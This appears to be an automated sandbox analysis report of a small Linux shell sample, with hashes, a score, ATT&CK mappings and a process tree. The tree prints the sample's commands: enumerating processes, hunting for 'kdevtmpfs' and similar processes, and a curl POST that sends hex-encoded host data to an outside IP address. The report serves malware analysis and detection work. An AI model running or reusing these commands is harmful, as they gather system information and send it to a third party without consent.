a4b3df8dd7aa37dc6fb98bcc3b4f83de2469e12bc38809bb8170edb250fbdafb

Analysis

max time kernel
3s
max time network
4s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
30/09/2026, 23:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a4b3df8dd7aa37dc6fb98bcc3b4f83de2469e12bc38809bb8170edb250fbdafb
Size 1KB
Sample260930-25t2qacc77
SHA256 a4b3df8dd7aa37dc6fb98bcc3b4f83de2469e12bc38809bb8170edb250fbdafb
MD5 52b9131b24296c23d4aab6cb0c1ca4ac
SHA1 0e18434924405c74371019f66c5ba12448044c7c
SHA512 e9c75171e533311e3635169a2128efde001dc0b08ff49498f2f947e3fc9e17a52dbe576872138c27613cad80b4270e53129fe0a9b1f9223c165b56b0cdf183b4
TLSH
T14911CEEDF8A4ECA2B9580926F8DD900C54C7076A8437A944B4964D0D234E3DA7A4933B
MD5 SHA1 SHA512 TLSH

Score

6^/10

antivm discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
656	ps
697	ps
700	ps

Reads CPU attributes 1 TTPs 4 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/10/status	ps
File opened for reading	/proc/642/status	ps
File opened for reading	/proc/27/fd	ss
File opened for reading	/proc/292/status	ps
File opened for reading	/proc/95/status	pgrep
File opened for reading	/proc/167/cmdline	pgrep
File opened for reading	/proc/166/stat	ps
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/11/cmdline	ps
File opened for reading	/proc/224/status	pgrep
File opened for reading	/proc/23/attr/current	ss
File opened for reading	/proc/565/attr/current	ss
File opened for reading	/proc/24/cmdline	ps
File opened for reading	/proc/657/cmdline	ps
File opened for reading	/proc/104/cmdline	ps
File opened for reading	/proc/642/stat	ps
File opened for reading	/proc/1/status	pgrep
File opened for reading	/proc/41/fd	ss
File opened for reading	/proc/686/fd	ss
File opened for reading	/proc/136/cmdline	ps
File opened for reading	/proc/28/stat	ps
File opened for reading	/proc/698/cmdline	ps
File opened for reading	/proc/677/status	ps
File opened for reading	/proc/304/cmdline	ps
File opened for reading	/proc/641/cmdline	ps
File opened for reading	/proc/627/cmdline	pgrep
File opened for reading	/proc/25/fd	ss
File opened for reading	/proc/642/fd	ss
File opened for reading	/proc/12/stat	ps
File opened for reading	/proc/677/stat	ps
File opened for reading	/proc/292/cmdline	ps
File opened for reading	/proc/43/cmdline	pgrep
File opened for reading	/proc/633/stat	ps
File opened for reading	/proc/16/cmdline	ps
File opened for reading	/proc/20/stat	ps
File opened for reading	/proc/22/cmdline	ps
File opened for reading	/proc/18/status	pgrep
File opened for reading	/proc/18/fd	ss
File opened for reading	/proc/319/fd	ss
File opened for reading	/proc/sys/kernel/pid_max	ps
File opened for reading	/proc/4/status	ps
File opened for reading	/proc/12/cmdline	pgrep
File opened for reading	/proc/20/status	pgrep
File opened for reading	/proc/302/attr/current	ss
File opened for reading	/proc/5/fd	ss
File opened for reading	/proc/284/cmdline	ps
File opened for reading	/proc/2/cmdline	pgrep
File opened for reading	/proc/304/fd	ss
File opened for reading	/proc/16/status	ps
File opened for reading	/proc/698/status	ps
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/136/status	ps
File opened for reading	/proc/565/stat	ps
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/224/status	ps
File opened for reading	/proc/309/status	ps
File opened for reading	/proc/321/cmdline	ps
File opened for reading	/proc/577/cmdline	pgrep
File opened for reading	/proc/104/status	ps
File opened for reading	/proc/134/status	ps
File opened for reading	/proc/2/cmdline	ps
File opened for reading	/proc/5/status	ps
File opened for reading	/proc/305/status	ps
File opened for reading	/proc/11/status	pgrep

/tmp/a4b3df8dd7aa37dc6fb98bcc3b4f83de2469e12bc38809bb8170edb250fbdafb
/tmp/a4b3df8dd7aa37dc6fb98bcc3b4f83de2469e12bc38809bb8170edb250fbdafb
1⤵
PID:643
- /bin/hostname
  hostname
  2⤵
  PID:650
- /bin/grep
  grep -v grep
  2⤵
  PID:658
- /bin/grep
  grep -i kdevtmpfs
  2⤵
  PID:657
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:656
- /usr/bin/head
  head -5
  2⤵
  PID:660
- /usr/bin/head
  head -1
  2⤵
  PID:674
- /usr/bin/pgrep
  pgrep -f kdevtmpfs
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:673
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:679
- /bin/readlink
  readlink /proc/13/cwd
  2⤵
  PID:682
- /bin/cat
  cat /proc/13/cmdline
  2⤵
  PID:684
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:685
- /usr/bin/tr
  tr "\\n" ";"
  2⤵
  PID:690
- /bin/ss
  ss -tnp
  2⤵
  - Reads runtime system information
  PID:687
- /bin/grep
  grep "pid=13"
  2⤵
  PID:688
- /usr/bin/head
  head -5
  2⤵
  PID:689
- /bin/grep
  grep -cE "curl.*23.252.123.134|curl.*1808[67]"
  2⤵
  PID:698
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:697
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:700
- /bin/grep
  grep -E "kvloop|sysd|sync.py|agent"
  2⤵
  PID:701
- /bin/grep
  grep -v grep
  2⤵
  PID:702
- /usr/bin/tr
  tr "\\n" ";"
  2⤵
  PID:704
- /usr/bin/head
  head -5
  2⤵
  PID:703
- /usr/bin/tr
  tr -d " \\n"
  2⤵
  PID:708
- /usr/bin/od
  od -An -tx1
  2⤵
  PID:707
- /usr/bin/curl
  curl -s -m 25 -X POST --data-binary 484f53543d64656269616e392d61726d68662d32303236303531332d656e2d313320204b4445563d5b726f6f74202020202020202031332020302e302020302e3020202020202030202020202030203f2020202020202020532020202030303a3038202020303a3030205b6b646576746d7066735d5d204558453d204357443d2f20434d443d204e45543d5b5d204355524c434f554e543d31204c4f4f503d5b726f6f74202020202020203635332020322e352020302e3120363731373336202033353630203f202020202020202053736c202030303a3130202020303a3030202f7573722f7362696e2f6167656e743b5d http://66.23.236.182:18090/r/kdev_debian9-armhf-20260513-en-13
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:709

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads